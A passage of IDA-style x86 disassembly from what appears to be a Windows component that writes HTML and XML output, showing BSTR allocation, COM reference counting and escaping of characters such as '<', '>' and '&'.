; ---------------------------------------------------------------------------


loc_69B8298A:				; CODE XREF: sub_69B828E4+97j
		mov	[ebp-38h], esi


loc_69B8298D:				; CODE XREF: sub_69B828E4+A4j
		cmp	[edi+81h], bl
		jz	short loc_69B829A1
		push	offset aHtml	; "html:"
		call	sub_69B1A587
		jmp	short loc_69B829A3
; ---------------------------------------------------------------------------


loc_69B829A1:				; CODE XREF: sub_69B828E4+AFj
		mov	eax, esi


loc_69B829A3:				; CODE XREF: sub_69B828E4+BBj
		push	ebx
		push	dword ptr [ebp-30h]
		push	dword ptr [ebp-34h]
		push	dword ptr [ebp-38h]
		push	eax
		push	0C00CE400h
		call	sub_69B2F944
		add	esp, 18h
		mov	esi, eax
		mov	[ebp-3Ch], esi
		mov	eax, [esi+0Ch]
		mov	[ebp-40h], eax
		push	ebx		; int
		push	eax		; lpString
		mov	ecx, edi
		call	sub_69B82200
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+30h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B829F1
; ---------------------------------------------------------------------------


loc_69B829DC:				; DATA XREF: .text:69B82A44o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B829E5:				; DATA XREF: .text:69B82A48o
		mov	esp, [ebp-18h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		xor	ebx, ebx
		mov	edi, [ebp-1Ch]


loc_69B829F1:				; CODE XREF: sub_69B828E4+F6j
		mov	eax, [edi+30h]
		mov	byte ptr [eax+1Dh], 1
		mov	edi, [edi+30h]
		mov	eax, [edi]
		push	ebx
		push	edi
		call	dword ptr [eax+20h]


loc_69B82A02:				; CODE XREF: sub_69B828E4+3Cj
					; sub_69B828E4+45j
		lea	ecx, [ebp-2Ch]
		call	sub_69B1976C
		push	dword ptr [ebp-20h]
		call	dword_69B92944
		xor	eax, eax


loc_69B82A15:				; CODE XREF: sub_69B828E4+25j
		call	sub_69B1853C
		retn	8
sub_69B828E4	endp

; ---------------------------------------------------------------------------
		align 10h
; const	WCHAR aHtml
aHtml:					; DATA XREF: sub_69B828E4+B1o
		unicode	0, <html:>,0
aXsl:					; DATA XREF: sub_69B828E4+86o
		unicode	0, <XSL>,0
; const	WCHAR aCss
aCss:					; DATA XREF: sub_69B828E4+7Fo
		unicode	0, <CSS>,0
		align 10h
dword_69B82A40	dd 0FFFFFFFFh			dd offset loc_69B829DC
		dd offset loc_69B829E5

; =============== S U B	R O U T	I N E =======================================



sub_69B82A4C	proc near		; CODE XREF: sub_69B80B3C+Ap
					; sub_69B82F37+A7p ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi+14h]
		push	edi
		xor	edi, edi
		cmp	eax, edi
		jz	short loc_69B82A7F
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+14h]
		mov	eax, [esi+14h]
		cmp	eax, edi
		jz	short loc_69B82A6C
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B82A6C:				; CODE XREF: sub_69B82A4C+18j
		mov	eax, [esi+48h]
		cmp	eax, edi
		mov	[esi+14h], edi
		jz	short loc_69B82A7C
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B82A7C:				; CODE XREF: sub_69B82A4C+28j
		mov	[esi+48h], edi


loc_69B82A7F:				; CODE XREF: sub_69B82A4C+Bj
		mov	eax, [esi+84h]
		cmp	eax, edi
		jz	short loc_69B82AB7
		mov	ecx, [esi+44h]
		mov	edx, [ecx]
		push	1
		push	eax
		push	edi
		push	edi
		push	edi
		call	dword ptr [edx+14h]
		push	edi
		push	dword ptr [esi+84h]
		mov	ecx, esi
		call	sub_69B828E4
		push	dword ptr [esi+84h] ; BSTR
		call	SysFreeString
		mov	[esi+84h], edi


loc_69B82AB7:				; CODE XREF: sub_69B82A4C+3Bj
		pop	edi
		pop	esi
		retn
sub_69B82A4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B82ABA	proc near		; CODE XREF: sub_69B8363D+3p
		push	esi
		mov	esi, ecx
		mov	eax, [esi+10h]
		test	eax, eax
		push	edi
		mov	edi, SysFreeString
		mov	dword ptr [esi-4], offset off_69B1F6E8
		mov	dword ptr [esi], offset	off_69B2A840
		jz	short loc_69B82ADB
		push	eax		; BSTR
		call	edi ; SysFreeString


loc_69B82ADB:				; CODE XREF: sub_69B82ABA+1Cj
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+10h], 0
		test	eax, eax
		jz	short loc_69B82AE9
		push	eax		; BSTR
		call	edi ; SysFreeString


loc_69B82AE9:				; CODE XREF: sub_69B82ABA+2Aj
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		jmp	sub_69B2C65C
sub_69B82ABA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B82AF4	proc near		; DATA XREF: .text:69B12B6Co
					; .text:69B12C10o ...
		xor	eax, eax
		retn	0Ch
sub_69B82AF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B82AF9	proc near		; DATA XREF: .text:69B1F6FCo
		xor	eax, eax
		retn	10h
sub_69B82AF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B82AFE	proc near		; CODE XREF: .text:69B82B25j
					; DATA XREF: .text:69B16BBCo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		push	15h
		mov	[edx], ecx
		pop	ecx
		lea	esi, [eax+20h]
		rep movsd
		pop	edi
		xor	eax, eax
		pop	esi
		retn	0Ch
sub_69B82AFE	endp

; ---------------------------------------------------------------------------


loc_69B82B20:				; DATA XREF: .text:69B16B90o
		sub	dword ptr [esp+4], 14h
		jmp	short sub_69B82AFE

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B82B27(BSTR lpString, int)

sub_69B82B27	proc near		; CODE XREF: sub_69B837DF+E2p
					; sub_69B837DF+116p

lpString	= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+lpString]
		push	0
		push	[esp+0Ch+arg_4]
		push	edi		; lpString
		call	sub_69B1A587
		push	eax
		call	sub_69B2F2CA
		mov	ecx, [eax+0Ch]
		add	esp, 0Ch
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B82B5E
		push	edi		; BSTR
		call	SysFreeString
		mov	edi, esi


loc_69B82B5E:				; CODE XREF: sub_69B82B27+2Cj
		mov	eax, edi
		pop	edi
		pop	esi
		retn	8
sub_69B82B27	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B82B65	proc near		; CODE XREF: sub_69B837DF+121p
		push	30h
		push	offset dword_69B82CA8
		call	sub_69B19C5C
		xor	edi, edi
		mov	[ebp-1Ch], edi
		mov	[ebp-4], edi
		mov	esi, [ebp+8]
		mov	eax, [esi]
		lea	ecx, [ebp-1Ch]
		push	ecx
		push	esi
		call	dword ptr [eax+28h]
		mov	eax, [esi]
		lea	ecx, [ebp-20h]
		push	ecx
		push	esi
		call	dword ptr [eax+2Ch]
		mov	eax, [esi]
		lea	ecx, [ebp-24h]
		push	ecx
		push	esi
		call	dword ptr [eax+30h]
		cmp	[ebp-1Ch], edi
		jz	loc_69B82C95
		call	sub_69B88D77
		mov	esi, eax
		mov	[ebp-28h], esi
		push	dword ptr [ebp-1Ch] ; BSTR
		call	SysStringLen
		mov	[ebp-2Ch], eax
		mov	[ebp-30h], edi


loc_69B82BBC:				; CODE XREF: sub_69B82B65+B8j
		mov	eax, [ebp-2Ch]
		cmp	[ebp-30h], eax
		jge	short loc_69B82C1F
		mov	eax, [ebp-1Ch]
		mov	ecx, [ebp-30h]
		movzx	ecx, word ptr [eax+ecx*2]
		mov	[ebp-34h], ecx
		movzx	eax, cx
		sub	eax, 9
		jz	short loc_69B82C11
		sub	eax, 1Dh
		jz	short loc_69B82C03
		sub	eax, 16h
		jz	short loc_69B82BFC
		dec	eax
		dec	eax
		jz	short loc_69B82BF5
		sub	eax, 0FFC1h
		jz	short loc_69B82BF1
		push	ecx
		jmp	short loc_69B82C13
; ---------------------------------------------------------------------------


loc_69B82BF1:				; CODE XREF: sub_69B82B65+87j
		push	3Fh
		jmp	short loc_69B82C13
; ---------------------------------------------------------------------------


loc_69B82BF5:				; CODE XREF: sub_69B82B65+80j
		push	offset aGt_1	; ">"
		jmp	short loc_69B82C08
; ---------------------------------------------------------------------------


loc_69B82BFC:				; CODE XREF: sub_69B82B65+7Cj
		push	offset aLt_1	; "<"
		jmp	short loc_69B82C08
; ---------------------------------------------------------------------------


loc_69B82C03:				; CODE XREF: sub_69B82B65+77j
		push	offset aAmp_0	; "&"


loc_69B82C08:				; CODE XREF: sub_69B82B65+95j
					; sub_69B82B65+9Cj
		mov	ecx, esi
		call	sub_69B88E04
		jmp	short loc_69B82C1A
; ---------------------------------------------------------------------------


loc_69B82C11:				; CODE XREF: sub_69B82B65+72j
		push	20h


loc_69B82C13:				; CODE XREF: sub_69B82B65+8Aj
					; sub_69B82B65+8Ej
		mov	ecx, esi
		call	sub_69B88E7C


loc_69B82C1A:				; CODE XREF: sub_69B82B65+AAj
		inc	dword ptr [ebp-30h]
		jmp	short loc_69B82BBC
; ---------------------------------------------------------------------------


loc_69B82C1F:				; CODE XREF: sub_69B82B65+5Dj
		push	offset asc_69B9A9F4 ; "\r\n"
		mov	ecx, esi
		call	sub_69B88E04
		mov	eax, [ebp-24h]
		cmp	eax, [ebp-2Ch]
		jge	short loc_69B82C57
		mov	dword ptr [ebp-30h], 1


loc_69B82C3A:				; CODE XREF: sub_69B82B65+E9j
		mov	eax, [ebp-24h]
		mov	ecx, esi
		cmp	[ebp-30h], eax
		jge	short loc_69B82C50
		push	2Dh
		call	sub_69B88E7C
		inc	dword ptr [ebp-30h]
		jmp	short loc_69B82C3A
; ---------------------------------------------------------------------------


loc_69B82C50:				; CODE XREF: sub_69B82B65+DDj
		push	5Eh
		call	sub_69B88E7C


loc_69B82C57:				; CODE XREF: sub_69B82B65+CCj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+2Ch]
		mov	[ebp-38h], eax
		mov	ecx, [eax+0Ch]
		mov	[ebp-3Ch], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	[ebp-40h], eax
		cmp	eax, edi
		jz	short loc_69B82C95
		push	dword ptr [ebp-1Ch] ; BSTR
		call	SysFreeString
		mov	eax, [ebp-40h]
		mov	[ebp-1Ch], eax
		jmp	short loc_69B82C95
; ---------------------------------------------------------------------------


loc_69B82C89:				; DATA XREF: .text:69B82CACo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B82C92:				; DATA XREF: .text:69B82CB0o
		mov	esp, [ebp-18h]


loc_69B82C95:				; CODE XREF: sub_69B82B65+38j
					; sub_69B82B65+111j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-1Ch]
		call	sub_69B1853C
		retn	4
sub_69B82B65	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B82CA8	dd 0FFFFFFFFh			dd offset loc_69B82C89
		dd offset loc_69B82C92

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B82CB4	proc near		; CODE XREF: sub_69B7FB0F+3A6p

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		call	sub_69B4E24E
		mov	eax, [ebp+arg_0]
		xor	ebx, ebx
		mov	dword ptr [esi], offset	off_69B14754
		mov	dword ptr [esi+4], offset off_69B2A87C
		mov	dword ptr [esi+10h], offset off_69B2A844
		mov	[esi+6Ch], ebx
		mov	[esi+68h], ebx
		mov	[esi+54h], ebx
		mov	[esi+72h], bl
		mov	[esi+71h], bl
		mov	byte ptr [esi+76h], 1
		mov	byte ptr [esi+77h], 1
		mov	[esi+78h], bl
		mov	[esi+7Ch], ebx
		mov	[esi+80h], bl
		mov	[esi+81h], bl
		mov	[esi+50h], bl
		mov	[esi+70h], bl
		mov	[esi+88h], bl
		mov	[esi+30h], eax
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		mov	eax, [ebp+arg_4]
		mov	[esi+34h], eax
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		mov	ecx, [ebp+arg_8]
		lea	eax, [esi+38h]
		push	eax
		push	offset stru_69B25E34
		mov	[eax], ebx
		mov	edx, [ecx]
		push	ecx
		call	dword ptr [edx]
		mov	eax, [ebp+arg_C]
		mov	[esi+3Ch], eax
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		mov	[esi+40h], eax
		jz	short loc_69B82D53
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_69B82D53:				; CODE XREF: sub_69B82CB4+97j
		mov	eax, [ebp+arg_1C]
		cmp	eax, ebx
		mov	[esi+44h], eax
		jz	short loc_69B82D63
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_69B82D63:				; CODE XREF: sub_69B82CB4+A7j
		mov	eax, [ebp+arg_14]
		mov	[esi+24h], eax
		mov	eax, [ebp+arg_10]
		mov	[esi+48h], ebx
		mov	[esi+58h], ebx
		mov	[esi+60h], ebx
		mov	[esi+5Ch], ebx
		mov	[esi+84h], ebx
		mov	[esi+14h], ebx
		mov	[esi+18h], ebx
		mov	[esi+1Ch], bl
		mov	[esi+2Ch], ebx
		mov	[esi+28h], ebx
		mov	[esi+20h], eax
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		mov	eax, [esi+30h]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	2
		push	offset word_69B26230
		push	eax
		call	dword ptr [ecx+10h]
		mov	ecx, esi
		call	sub_69B821E5
		test	eax, eax
		jz	short loc_69B82DC0
		push	ebx		; int
		push	offset aHtmlHtml ; "<html:html>"
		call	sub_69B82200


loc_69B82DC0:				; CODE XREF: sub_69B82CB4+FFj
		mov	ecx, esi
		call	sub_69B821E5
		test	eax, eax
		jz	short loc_69B82DD6
		push	ebx		; int
		push	offset aHtmlHead ; "<html:head>"
		call	sub_69B82200


loc_69B82DD6:				; CODE XREF: sub_69B82CB4+115j
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	20h
sub_69B82CB4	endp

; ---------------------------------------------------------------------------
		align 10h
; const	WCHAR aHtmlHead
aHtmlHead:				; DATA XREF: sub_69B82CB4+118o
		dw 3Ch
		unicode	0, <html:head>
		dw 3Eh
		unicode	0, <>,0
; const	WCHAR aHtmlHtml
aHtmlHtml:				; DATA XREF: sub_69B82CB4+102o
		dw 3Ch
		unicode	0, <html:html>
		dw 3Eh
		unicode	0, <>,0

; =============== S U B	R O U T	I N E =======================================



sub_69B82E10	proc near		; DATA XREF: .text:69B2A850o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_69B82E20
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+4]


loc_69B82E20:				; CODE XREF: sub_69B82E10+8j
		mov	esi, [esp+8+arg_0]
		mov	eax, [esi+24h]
		test	eax, eax
		jz	short loc_69B82E31
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B82E31:				; CODE XREF: sub_69B82E10+19j
		mov	[esi+24h], edi
		pop	edi
		xor	eax, eax
		pop	esi
		retn	8
sub_69B82E10	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B82E3B	proc near		; DATA XREF: .text:69B2A854o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	dword ptr [esi+24h], 0
		jz	short loc_69B82E4F
		mov	eax, [esi+24h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_69B82E4F:				; CODE XREF: sub_69B82E3B+9j
		mov	eax, [esi+24h]
		mov	ecx, [esp+4+arg_4]
		mov	[ecx], eax
		xor	eax, eax
		pop	esi
		retn	8
sub_69B82E3B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B82E5E	proc near		; DATA XREF: .text:69B2A858o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+3Ch]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+14h]
		retn	8
sub_69B82E5E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B82E72	proc near		; DATA XREF: .text:69B2A85Co

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax+3Ch]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+18h]
		retn	4
sub_69B82E72	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B82E82	proc near		; DATA XREF: .text:69B2A860o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax+3Ch]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+1Ch]
		retn	4
sub_69B82E82	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B82E92	proc near		; DATA XREF: .text:69B2A864o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax+3Ch]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+20h]
		retn	4
sub_69B82E92	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B82EA2	proc near		; DATA XREF: .text:69B2A868o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	eax, [esp+4+arg_0]
		push	[esp+4+arg_8]
		mov	eax, [eax+3Ch]
		push	[esp+8+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+24h]
		retn	10h
sub_69B82EA2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B82EBE	proc near		; DATA XREF: .text:69B2A86Co

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax+3Ch]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+28h]
		retn	4
sub_69B82EBE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B82ECE	proc near		; DATA XREF: .text:69B2A870o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+3Ch]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+2Ch]
		retn	8
sub_69B82ECE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B82EE2	proc near		; DATA XREF: .text:69B2A874o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax+3Ch]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+30h]
		retn	4
sub_69B82EE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B82EF2	proc near		; DATA XREF: .text:69B2A878o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+3Ch]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+34h]
		retn	8
sub_69B82EF2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B82F06	proc near		; CODE XREF: sub_69B82F30+5j
					; DATA XREF: .text:off_69B14754o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	[ebp+arg_8]
		mov	esi, [ebp+arg_0]
		push	[ebp+arg_4]
		push	esi
		call	sub_69B448B2
		test	eax, eax
		jz	short loc_69B82F2B
		push	[ebp+arg_8]
		mov	eax, [esi+4Ch]
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx]


loc_69B82F2B:				; CODE XREF: sub_69B82F06+15j
		pop	esi
		pop	ebp
		retn	0Ch
sub_69B82F06	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B82F30	proc near		; DATA XREF: .text:off_69B2A844o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 10h
		jmp	short sub_69B82F06
sub_69B82F30	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B82F37	proc near		; CODE XREF: .text:69B8369Bp
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+58h]
		push	edi
		xor	edi, edi
		cmp	eax, edi
		lea	ebx, [esi-4]
		mov	dword ptr [ebx], offset	off_69B14754
		mov	dword ptr [esi], offset	off_69B2A87C
		mov	dword ptr [esi+0Ch], offset off_69B2A844
		jz	short loc_69B82F62
		push	eax		; BSTR
		call	SysFreeString


loc_69B82F62:				; CODE XREF: sub_69B82F37+22j
		mov	eax, [esi+44h]
		cmp	eax, edi
		mov	[esi+58h], edi
		jz	short loc_69B82F72
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B82F72:				; CODE XREF: sub_69B82F37+33j
		mov	eax, [esi+34h]
		cmp	eax, edi
		mov	[esi+44h], edi
		jz	short loc_69B82F82
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B82F82:				; CODE XREF: sub_69B82F37+43j
		mov	eax, [esi+38h]
		cmp	eax, edi
		mov	[esi+34h], edi
		jz	short loc_69B82F92
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B82F92:				; CODE XREF: sub_69B82F37+53j
		mov	eax, [esi+3Ch]
		cmp	eax, edi
		mov	[esi+38h], edi
		jz	short loc_69B82FA2
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B82FA2:				; CODE XREF: sub_69B82F37+63j
		mov	eax, [esi+40h]
		cmp	eax, edi
		mov	[esi+3Ch], edi
		jz	short loc_69B82FB2
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B82FB2:				; CODE XREF: sub_69B82F37+73j
		mov	eax, [esi+30h]
		cmp	eax, edi
		mov	[esi+40h], edi
		jz	short loc_69B82FC2
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B82FC2:				; CODE XREF: sub_69B82F37+83j
		mov	eax, [esi+1Ch]
		cmp	eax, edi
		mov	[esi+30h], edi
		jz	short loc_69B82FD2
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B82FD2:				; CODE XREF: sub_69B82F37+93j
		mov	ecx, ebx
		mov	[esi+1Ch], edi
		call	sub_69B8256C
		mov	ecx, ebx
		call	sub_69B82A4C
		pop	edi
		pop	esi
		pop	ebx
		jmp	sub_69B2C65C
sub_69B82F37	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B82FEB	proc near		; CODE XREF: sub_69B8436C+164p

arg_0		= word ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	edi
		mov	edi, ecx
		jbe	loc_69B83088
		push	ebx
		movzx	ebx, [esp+8+arg_0]
		push	ebp
		mov	ebp, [esp+0Ch+arg_4]
		push	esi


loc_69B83006:				; CODE XREF: sub_69B82FEB+98j
		mov	esi, [ebp+0]
		mov	eax, [esi+4]
		add	ebp, 4
		dec	eax
		jz	short loc_69B8307E
		dec	eax
		jnz	short loc_69B83082
		mov	byte ptr [edi+72h], 1
		cmp	dword ptr [esi+18h], 5
		jnz	short loc_69B83082
		cmp	dword ptr [esi+14h], 6
		jbe	short loc_69B83082
		push	5		; nChar
		push	offset aXmlns	; "xmlns"
		push	dword ptr [esi+10h] ; lpStr1
		call	ds:StrCmpNIW	; StrCmpNIW
		test	eax, eax
		jnz	short loc_69B83082
		mov	ecx, edi
		call	sub_69B821E5
		test	eax, eax
		jz	short loc_69B83050
		push	0		; int
		push	offset aXmlNamespace_0 ; "<XML:NAMESPACE prefix='"
		call	sub_69B82200


loc_69B83050:				; CODE XREF: sub_69B82FEB+57j
		mov	eax, [esi+14h]
		sub	eax, 6
		push	eax
		mov	eax, [esi+10h]
		add	eax, 0Ch
		push	eax
		mov	ecx, edi
		call	sub_69B8283E
		mov	ecx, edi
		call	sub_69B821E5
		test	eax, eax
		jz	short loc_69B83082
		push	0		; int
		push	offset asc_69B83098 ; "'/>"
		call	sub_69B82200
		jmp	short loc_69B83082
; ---------------------------------------------------------------------------


loc_69B8307E:				; CODE XREF: sub_69B82FEB+25j
		mov	byte ptr [edi+71h], 1


loc_69B83082:				; CODE XREF: sub_69B82FEB+28j
					; sub_69B82FEB+32j ...
		dec	ebx
		jnz	short loc_69B83006
		pop	esi
		pop	ebp
		pop	ebx


loc_69B83088:				; CODE XREF: sub_69B82FEB+9j
		mov	byte ptr [edi+72h], 0
		mov	byte ptr [edi+71h], 0
		xor	eax, eax
		pop	edi
		retn	8
sub_69B82FEB	endp

; ---------------------------------------------------------------------------
		align 4
; const	WCHAR asc_69B83098
asc_69B83098:				; DATA XREF: sub_69B82FEB+87o
		dw 27h
		unicode	0, </>
		dw 3Eh
		unicode	0, <>,0
; const	WCHAR aXmlNamespace_0
aXmlNamespace_0:			; DATA XREF: sub_69B82FEB+5Bo
		dw 3Ch
		unicode	0, <XML:NAMESPACE prefix=>
		dw 27h
		unicode	0, <>,0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B830D0(BSTR)

sub_69B830D0	proc near		; CODE XREF: sub_69B83E6C+19Ep

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
lpString	= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	dword ptr [eax+14h] ; UINT
		xor	ebx, ebx
		push	dword ptr [eax+10h] ; OLECHAR *
		mov	edi, ecx
		mov	[ebp+lpString],	ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], ebx
		call	SysAllocStringLen
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jnz	short loc_69B83109
		mov	esi, 8007000Eh
		jmp	loc_69B83191
; ---------------------------------------------------------------------------


loc_69B83109:				; CODE XREF: sub_69B830D0+2Dj
		mov	eax, [edi+38h]
		mov	ecx, [eax]
		lea	edx, [ebp+var_10]
		push	edx
		push	eax
		call	dword ptr [ecx+0ACh]
		mov	esi, eax
		cmp	esi, ebx
		jl	short loc_69B83191
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jnz	short loc_69B8312D


loc_69B83126:				; CODE XREF: sub_69B830D0+75j
					; sub_69B830D0+8Fj
		mov	esi, 80004003h
		jmp	short loc_69B83191
; ---------------------------------------------------------------------------


loc_69B8312D:				; CODE XREF: sub_69B830D0+54j
		mov	ecx, [eax]
		lea	edx, [ebp+var_C]
		push	edx
		push	eax
		call	dword ptr [ecx+0B0h]
		mov	esi, eax
		cmp	esi, ebx
		jl	short loc_69B83191
		mov	eax, [ebp+var_C]
		cmp	eax, ebx
		jz	short loc_69B83126
		mov	ecx, [eax]
		lea	edx, [ebp+var_8]
		push	edx
		push	[ebp+arg_0]
		push	eax
		call	dword ptr [ecx+1Ch]
		mov	esi, eax
		cmp	esi, ebx
		jl	short loc_69B83191
		mov	eax, [ebp+var_8]
		cmp	eax, ebx
		jz	short loc_69B83126
		mov	ecx, [eax]
		lea	edx, [ebp+lpString]
		push	edx
		push	eax
		call	dword ptr [ecx+68h]
		mov	esi, eax
		cmp	esi, ebx
		jl	short loc_69B83191
		cmp	[ebp+lpString],	ebx
		jnz	short loc_69B8317D
		mov	esi, 80004003h
		jmp	short loc_69B8319F
; ---------------------------------------------------------------------------


loc_69B8317D:				; CODE XREF: sub_69B830D0+A4j
		mov	ecx, edi
		call	sub_69B821E5
		test	eax, eax
		jz	short loc_69B83191
		push	ebx		; int
		push	[ebp+lpString]	; lpString
		call	sub_69B82200


loc_69B83191:				; CODE XREF: sub_69B830D0+34j
					; sub_69B830D0+4Dj ...
		cmp	[ebp+lpString],	ebx
		jz	short loc_69B8319F
		push	[ebp+lpString]	; BSTR
		call	SysFreeString


loc_69B8319F:				; CODE XREF: sub_69B830D0+ABj
					; sub_69B830D0+C4j
		mov	eax, [ebp+var_8]
		cmp	eax, ebx
		mov	[ebp+lpString],	ebx
		jz	short loc_69B831AF
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B831AF:				; CODE XREF: sub_69B830D0+D7j
		mov	eax, [ebp+var_C]
		cmp	eax, ebx
		mov	[ebp+var_8], ebx
		jz	short loc_69B831BF
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B831BF:				; CODE XREF: sub_69B830D0+E7j
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		mov	[ebp+var_C], ebx
		jz	short loc_69B831CF
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B831CF:				; CODE XREF: sub_69B830D0+F7j
		cmp	[ebp+arg_0], ebx
		mov	[ebp+var_10], ebx
		jz	short loc_69B831E0
		push	[ebp+arg_0]	; BSTR
